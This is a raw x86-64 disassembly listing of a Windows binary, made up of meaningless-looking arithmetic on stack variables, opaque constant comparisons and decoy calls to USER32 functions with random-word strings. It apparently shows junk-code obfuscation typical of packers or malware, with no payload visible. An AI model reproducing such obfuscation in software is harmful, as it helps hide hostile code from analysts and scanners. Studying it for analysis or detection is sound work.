mov ecx, eax
call fcn.1400fd6ca
jmp 0x14000542a
mov rax, qword [rbp + 0x2380]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0xebb]
xor eax, edx
movsx edx, al
movzx eax, byte [rbp + 0x2c4c]
movsx r8d, al
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
mov ecx, eax
shl r8d, cl
mov eax, r8d
cmp edx, eax
jl 0x140005429
movzx eax, word [rbp + 0x1a74]
sub ax, 0x3dc8
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x25e0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ArrangeIconicWindows]
call rax
mov dword [rbp + 0xa6c], eax
mov rax, qword [rbp + 0x2990]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x1b020]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2990]
add rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3a18], rdx
mov edx, dword [rbp + 0x1200]
mov eax, dword [rbp + 0xa6c]
sub edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
nop
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
mov dword [rbp + 0x4c04], eax
movzx eax, word [rbp + 0x1c72]
mov word [rbp + 0x1208], ax
jmp 0x140005570
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3a18]
add rax, rdx
mov qword [0x140101050], rax
jmp 0x140005570
jmp 0x140005570
lea rax, [rbp + 0x3520]
mov r9d, 0x97
mov r8, rax
mov edx, 0xf
lea rax, str.bilinguals_Rehearses_Lipreading
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_EnumDisplaySettingsExW]
call rax
mov dword [rbp + 0x2b84], eax
mov rax, qword [rbp + 0x1b000]
mov eax, dword [rax]
cmp eax, 0x6e637f80
jne 0x140005550
mov rax, qword [rbp + 0x1af60]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4150]
add edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0xee4]
movzx edx, word [rbp + 0x1c72]
sub eax, edx
mov word [rbp + 0x1208], ax
mov rax, qword [rbp + 0x4150]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
and edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
lea rdx, [rbp + 0x25e0]
lea rax, [rbp + 0x4240]
mov dword [rsp + 0x20], 0x66
mov r9, rdx
mov r8, rax
mov edx, 0x4c
mov ecx, 0x59
mov rax, qword [sym.imp.USER32.dll_ToAscii]
call rax
mov dword [rbp + 0x105c], eax
mov rax, qword [rbp + 0x10b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3fac]
xor eax, edx
mov dword [rbp + 0xf40], eax
jmp 0x14000556e
mov rax, qword [rbp + 0x1af68]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x740]
or edx, ecx
mov dword [rax], edx
nop
jmp 0x140005571
nop
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x340]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x33b8]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
movabs rdx, 0x101d8ca7cf50325f
cmp rax, rdx
je 0x1400055be
movabs rdx, 0x2bdf8ee04c00d5b4
cmp rax, rdx
je 0x1400055fd
jmp 0x140005642
mov rax, qword [rbp + 0x25e0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetActiveWindow]
call rax
mov qword [rbp + 0x4240], rax
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, qword [rbp + 0x1af78]
mov qword [rax], rdx
jmp 0x140005642
lea rdx, [rbp + 0x4fe0]
mov rax, qword [rbp + 0x1a9c8]
mov r8d, 0x1e
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetClassNameW]
call rax
mov dword [rbp + 0x105c], eax
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1af60]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x20b6], al
nop
mov eax, dword [rbp + 0xa6c]
mov dword [0x140106030], eax
movzx eax, byte [rbp + 0x2c4c]
mov edx, eax
movzx eax, byte [rbp + 0x34]
add eax, edx
mov byte [rbp + 0xebb], al
lea rax, [rbp + 0x3657]
mov qword [rbp + 0x1a9c0], rax
mov rax, qword [rbp + 0x5b8]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1208]
and eax, edx
movzx edx, ax
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx ecx, ax
movzx eax, word [rbp + 0xee4]
movzx eax, ax
add eax, ecx
cmp edx, eax
jne 0x1400fcebb
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1af78]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x700]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x3a18]
and rax, rcx
cmp rdx, rax
jl 0x14000586f
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
test eax, eax
je 0x1400056fb
cmp eax, 0x4e
je 0x140005800
jmp 0x140005cc7
movzx eax, word [rbp + 0x1208]
movzx eax, ax
cmp eax, 0xaab
je 0x14000571c
cmp eax, 0xfb2
je 0x1400057e0
jmp 0x14000588d
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0xee4]
movzx eax, ax
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x4ed0]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x1208]
movzx eax, ax
add eax, edx
cmp ecx, eax
jge 0x1400057ae
mov rax, qword [rbp + 0x1afd0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x5b8]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
xor edx, ecx
mov word [rax], dx
mov ecx, 0xa
mov rax, qword [sym.imp.USER32.dll_BeginDeferWindowPos]
call rax
mov qword [rbp + 0x1ac0], rax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x2c4c]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0xebb], al
jmp 0x1400057fb
mov ecx, dword [rbp + 0x1200]
mov edx, dword [rbp + 0x1bc8]
mov rax, qword [rbp + 0x740]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4240]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetForegroundWindow]
call rax
mov dword [rbp + 0x1a9bc], eax
jmp 0x1400057fb
mov rax, qword [rbp + 0x1b000]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1cc]
mov rax, qword [rbp + 0x10b0]
and edx, ecx
mov dword [rax], edx
nop
jmp 0x14000588d
mov dword [rsp + 0x38], 0x73
mov dword [rsp + 0x30], 0xdb
lea rax, [rbp + 0xee4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x330]
mov qword [rsp + 0x20], rax
mov r9d, 0xd6
mov r8d, 0xef
mov edx, 0xc
lea rax, str.wirings_Levered_Fragmenting_blown_Refilled
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_PrivateExtractIconsW]
call rax
mov dword [rbp + 0x1bc8], eax
mov rax, qword [rbp + 0x1b020]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24a8]
add rax, rdx
mov qword [rbp + 0x840], rax
jmp 0x14000588d
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
add rdx, rax
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
jmp 0x140005cc7
movzx edx, byte [rbp + 0x3657]
movzx eax, byte [rbp + 0x3f13]
add edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
movzx eax, byte [rbp + 0x2c4c]
mov edx, eax
movzx eax, byte [rbp + 0x4afb]
sub edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
movzx eax, word [rbp + 0x1a74]
and ax, 0x151e
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5b8]
add edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x1a74]
sub ax, 0x39a
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x1af78]
mov qword [rax], rdx
mov ecx, dword [rbp + 0x1bc8]
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x740]
sub ecx, edx
mov dword [rax], ecx
mov ecx, dword [rbp + 0x3fac]
mov edx, dword [rbp + 0x4c04]
mov rax, qword [rbp + 0x10b0]
xor edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x2990]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x24a8], rax
movzx eax, byte [rbp + 0x4afb]
movsx edx, al
movzx eax, byte [rbp + 0x34]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x5b8]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4ed0]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
and edx, eax
mov rax, qword [rbp + 0x1afd0]
mov word [rax], dx
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x1a9c0]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x4d98]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1208]
add eax, edx
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1af78]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x2d10], rax
mov ecx, dword [rbp + 0xa6c]
mov edx, dword [rbp + 0x1bc8]
mov rax, qword [rbp + 0x740]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x10b0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x4c04]
mov rax, qword [rbp + 0x10b0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x33b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24a8]
and rdx, rax
mov rax, qword [rbp + 0x1b020]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
sub rdx, rax
mov qword [0x140101050], rdx
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4ed0]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x1208], ax
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x20b6]
mov rax, qword [rbp + 0x4150]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
movzx ecx, byte [rbp + 0x4afb]
movzx edx, byte [rbp + 0xebb]
mov rax, qword [rbp + 0x2380]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x2d10]
mov ecx, edx
sar rax, cl
mov qword [rbp + 0x3a18], rax
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bc8]
or eax, edx
mov dword [rbp + 0x1200], eax
mov rax, qword [rbp + 0x33b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
and rdx, rax
mov rax, qword [rbp + 0x1a9f0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x10b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1cc]
add eax, edx
mov dword [rbp + 0x4c04], eax
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
add rax, rdx
mov qword [0x140101050], rax
add dword [rbp + 0x1b074], 0x27
movzx eax, word [rbp + 0x1a74]
sub ax, 0x468e
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
movzx ecx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x5b8]
sub edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0xebb]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
sub edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x20b6], al
mov rax, qword [rbp + 0x33b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24a8]
and rax, rdx
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x3048]
mov ecx, dword [rax]
mov edx, dword [0x140106030]
mov rax, qword [rbp + 0x740]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf40]
or eax, edx
mov dword [rbp + 0x4c04], eax
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [0x140101050]
xor rax, rdx
mov qword [rbp + 0x3a18], rax
mov r8d, dword [rbp + 0x105c]
mov edx, dword [rbp + 0xf40]
mov rax, qword [rbp + 0x10b0]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x1afd0]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x1558]
mov word [rax], dx
mov rax, qword [rbp + 0x4d98]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x1a9c0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4150]
add edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x1b074], 0x8746
jne 0x140005892
mov rax, qword [rbp + 0x1af60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
and eax, edx
movzx ecx, al
movzx eax, byte [rbp + 0x3657]
movzx edx, al
movzx eax, byte [rbp + 0x20b6]
movzx eax, al
sub edx, eax
cmp ecx, edx
jg 0x1400fcd7f
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf40]
and eax, edx
mov dword [rbp + 0x105c], eax
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x1a9f0]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, rdx
mov qword [rbp + 0x840], rax
mov rax, qword [rbp + 0x1afd0]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0xee4]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x4ed0]
mov word [rax], dx
mov edx, dword [rbp + 0x1bc8]
mov eax, dword [rbp + 0xa6c]
or eax, edx
mov dword [0x140106030], eax
mov rax, qword [rbp + 0x1a9c0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1af60]
movzx eax, byte [rax]
xor eax, edx
mov byte [rbp + 0x3f13], al
movzx eax, byte [rbp + 0x34]
mov edx, eax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0xebb], al
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5b8]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x1558]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x340]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
and rdx, rax
mov rax, qword [rbp + 0x1a9f0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1b000]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x105c]
mov rax, qword [rbp + 0x10b0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
add rax, rdx
mov qword [rbp + 0x3a18], rax
mov rax, qword [rbp + 0x4d98]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4150]
add edx, ecx
mov byte [rax], dl
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x700]
mov rax, qword [rax]
sub rdx, rax
mov qword [0x140101050], rdx
movzx eax, byte [rbp + 0x2c4c]
mov edx, eax
movzx eax, byte [rbp + 0x34]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x4afb], al
movzx eax, word [rbp + 0x1a74]
add ax, 0x7723
mov word [rbp + 0x1a74], ax
movzx eax, word [rbp + 0x1a74]
sub ax, 0x20bb
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0xa6c], eax
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x700]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
mov rax, qword [rbp + 0x340]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1b020]
mov rax, qword [rax]
xor rdx, rax
mov rax, qword [rbp + 0x1a9f0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0x105c]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x1b000]
mov dword [rax], edx
mov rax, qword [rbp + 0x5b8]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1c72]
and eax, edx
mov word [rbp + 0x1208], ax
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
sub rdx, rax
mov qword [0x140101050], rdx
movzx eax, word [rbp + 0x1a74]
add ax, 0x312f
mov word [rbp + 0x1a74], ax
movzx ecx, byte [rbp + 0x2c4c]
movzx edx, byte [rbp + 0x4afb]
mov rax, qword [rbp + 0x2380]
and edx, ecx
mov byte [rax], dl
sub dword [rbp + 0x1b064], 0x23
mov rax, qword [rbp + 0x1a9c0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x20b6]
add eax, edx
mov byte [rbp + 0x3657], al
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x1c72], ax
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x2990]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x840], rdx
mov rax, qword [rbp + 0x740]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1200]
mov rax, qword [rbp + 0x3048]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x1b008]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x700]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x10b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf40]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x1b000]
mov dword [rax], edx
movzx eax, byte [rbp + 0x3657]
movzx edx, al
mov rax, qword [rbp + 0x4150]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x4d98]
mov byte [rax], dl
movzx eax, word [rbp + 0x1a74]
or ax, 0x23f7
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x2380]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x2c4c]
mov rax, qword [rbp + 0x2380]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x4150]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4150]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
add eax, edx
mov byte [rbp + 0x4afb], al
mov rax, qword [rbp + 0x340]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
add rax, rdx
mov qword [rbp + 0x24a8], rax
cmp dword [rbp + 0x1b064], 0x6511
ja 0x140005d0b
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
test eax, eax
jne 0x1400fcc70
movzx eax, word [rbp + 0xee4]
movzx edx, ax
mov rax, qword [rbp + 0x5b8]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1afd0]
mov word [rax], dx
mov dword [rbp + 0x1af70], 0xa46c
lea rax, [rbp + 0x34]
mov qword [rbp + 0x4250], rax
movzx eax, word [rbp + 0x1a74]
cwde
cmp eax, 0x2bf7
jne 0x1400061df
mov rax, qword [rbp + 0x5b8]
movzx eax, word [rax]
mov word [rbp + 0x2164], ax
lea rax, [rbp + 0x1cc]
mov qword [rbp + 0x1afd8], rax
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1200]
xor edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov dword [rbp + 0x1aff8], 0xa284
mov rcx, qword [rbp + 0x24a8]
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x2990]
or rdx, rcx
mov qword [rax], rdx
mov dword [rbp + 0x1b094], 0x1cb4
mov rax, qword [rbp + 0x2d10]
mov rdx, qword [rbp + 0x3a18]
mov ecx, edx
sar rax, cl
mov qword [rbp + 0x3720], rax
jmp 0x14000626c
movzx eax, word [rbp + 0x1a74]
cwde
cmp eax, 0x29f7
jne 0x14000623e
mov rax, qword [rbp + 0x1a9d0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMenu]
call rax
mov qword [rbp + 0x3478], rax
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov eax, dword [rbp + 0xa6c]
and eax, edx
mov dword [0x140106030], eax
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4ed0]
sub edx, ecx
mov word [rax], dx
jmp 0x14000626b
lea rdx, [rbp + 0x1c72]
mov rax, qword [rbp + 0x1a9a0]
mov r9d, 0x54
mov r8d, 0xea
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DrawFrameControl]
call rax
mov dword [rbp + 0x1a99c], eax
nop
nop
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [rbp + 0xebb]
movsx edx, al
movzx eax, byte [rbp + 0x2c4c]
movsx eax, al
add eax, edx
cmp ecx, eax
jg 0x140006311
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov byte [rbp + 0x4ef6], al
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
and eax, edx
mov byte [rbp + 0x20b6], al
lea rax, [rbp + 0x1a74]
mov qword [rbp + 0x1aff0], rax
mov eax, dword [rbp + 0x4c04]
mov dword [rbp + 0x2730], eax
mov rax, qword [rbp + 0x33b8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x340]
sub rcx, rdx
mov qword [rax], rcx
mov dword [rbp + 0x1af74], 0xde5c
jmp 0x140006380
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov eax, dword [0x140106030]
sub edx, eax
mov ecx, dword [rbp + 0x1200]
mov eax, dword [rbp + 0xa6c]
add eax, ecx
cmp eax, edx
jae 0x140006380
mov rax, qword [rbp + 0x1b008]
mov rcx, qword [rax]
mov rdx, qword [0x140101050]
mov rax, qword [rbp + 0x700]
add rdx, rcx
mov qword [rax], rdx
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ShowCursor]
call rax
mov dword [rbp + 0x3fac], eax
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x1bc8], eax
lea rax, [rbp + 0x2d10]
mov qword [0x140106038], rax
jmp 0x140006801
movzx eax, byte [rbp + 0x20b6]
movzx edx, al
mov rax, qword [rbp + 0x1a9c0]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x3657], al
mov rax, qword [rbp + 0x2380]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0xebb]
xor eax, edx
mov byte [rbp + 0x2c4c], al
movzx eax, word [rbp + 0x2164]
movzx edx, ax
movzx eax, word [rbp + 0x1208]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x1558]
mov word [rax], dx
movzx eax, word [rbp + 0x1a74]
or ax, 0x1bb6
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x4250]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x4afb]
and eax, edx
mov byte [rbp + 0x4ef6], al
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf40]
add edx, eax
mov rax, qword [rbp + 0x1afd8]
mov dword [rax], edx
mov rcx, qword [rbp + 0x24a8]
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x2990]
add rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x3720]
mov rax, qword [rbp + 0x3a18]
sub rdx, rax
mov rax, qword [rbp + 0x1af78]
mov qword [rax], rdx
mov rcx, qword [rbp + 0x2d10]
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [0x140106038]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x1a74]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1aff0]
mov word [rax], dx
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx edx, word [rbp + 0x1c72]
sub eax, edx
mov word [rbp + 0x1208], ax
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
and edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
sub ax, 0x3d04
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x4150]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3657]
xor edx, eax
mov rax, qword [rbp + 0x1a9c0]
mov byte [rax], dl
mov rax, qword [rbp + 0x1b020]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x33b8]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x2990]
shr rdx, cl
mov qword [rax], rdx
mov rcx, qword [rbp + 0x3720]
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x700]
or rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x1afd8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2730]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x1afd8]
mov dword [rax], edx
mov rax, qword [rbp + 0x1b008]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [0x140106038]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4250]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0xebb]
mov rax, qword [rbp + 0x2380]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1aff0]
movzx eax, word [rax]
sub ax, 0x4634
mov word [rbp + 0x1a74], ax
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
add edx, eax
mov rax, qword [rbp + 0x1afd0]
mov word [rax], dx
mov rax, qword [rbp + 0x4250]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4afb]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x2c4c], al
mov rax, qword [rbp + 0x1af60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
add edx, eax
mov rax, qword [rbp + 0x1a9c0]
mov byte [rax], dl
mov rax, qword [rbp + 0x10b0]
